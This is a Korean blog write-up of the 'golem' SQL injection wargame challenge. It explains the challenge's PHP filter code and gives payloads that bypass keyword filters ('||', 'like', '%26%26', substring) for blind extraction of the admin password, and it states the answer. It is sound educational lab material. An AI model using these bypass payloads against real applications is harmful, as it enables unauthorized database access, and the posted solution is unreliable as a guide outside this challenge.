김승현

[Lord Of SQLInjection] golem 11번 문제 write up 본문

Web/Lord Of Sql

[Lord Of SQLInjection] golem 11번 문제 write up

kshind 2023. 3. 22. 16:23

문제는 이렇게 생겼다. 코드를 분석해보자.

  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");

첫 번째 줄은 ./config.php를 포함한다는 내용입니다.
두 번째 줄은 로그인을 했는지 체크하는 내용입니다.
세 번째 줄은 db를 연결합니다.

if문들은 필터링을 하는 내용입니다.

필터링 내용
no hack
    1. prob
    2. _
    3. .
    4. (
    5. )
hehe
    1. or
    2. and
    3. substr
    4. =
  위의 문자들을 대소문자 구분 없이 확인하고 포함되어 있다면 검색을 종료합니다.
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

$query에 select id from prob_golem where id='guest' and pw='{$_GET[pw]}'을 저장합니다.

query : $query 내용을 출력합니다. 

$result에 db를 연결하고 query 내용을 저장합니다.

만약 $result의 id에 값이 있다면 Hello [id내용]을 출력합니다.

  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem");

get방식으로 pw를 받아오는데 백슬래시(\)를 더합니다.

$query에 select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'를 저장합니다.

$result에 db를 연겨랗고 $query를 저장합니다.

만약 pw가 존재하고 원래의 pw와 입력받은 pw가 동일하면 golem가 solve됩니다.

 

?pw= ' || id like 'admin' %23

위와 같이 입력해봤습니다. =이 필터링 되기 때문에 like를 사용했고 or이 필터링 되기 때문에

||를 입력해줬습니다. 

그럼 이렇게 일단 admin이 된 걸 볼 수 있습니다. blind sqli 전 pw의 길이를 알아보겠습니다.

?pw ='||length(pw)like'8' %23

이렇게 입력해주었습니다.

8자리인 거 알았으니 이번엔 blind sqli로 pw를 알아내보도록 하겠습니다.

' || id like'admin'%26%26ascii(substring(pw,1,1))>50 %23'

subtr이 필터링 되기 때문에 substring을 입력했고 나머진 그냥 평소와 똑같이 진행했습니다.

반복하다보면 pw가 77d6290b임을 알 수 있습니다.

?pw=77d6290b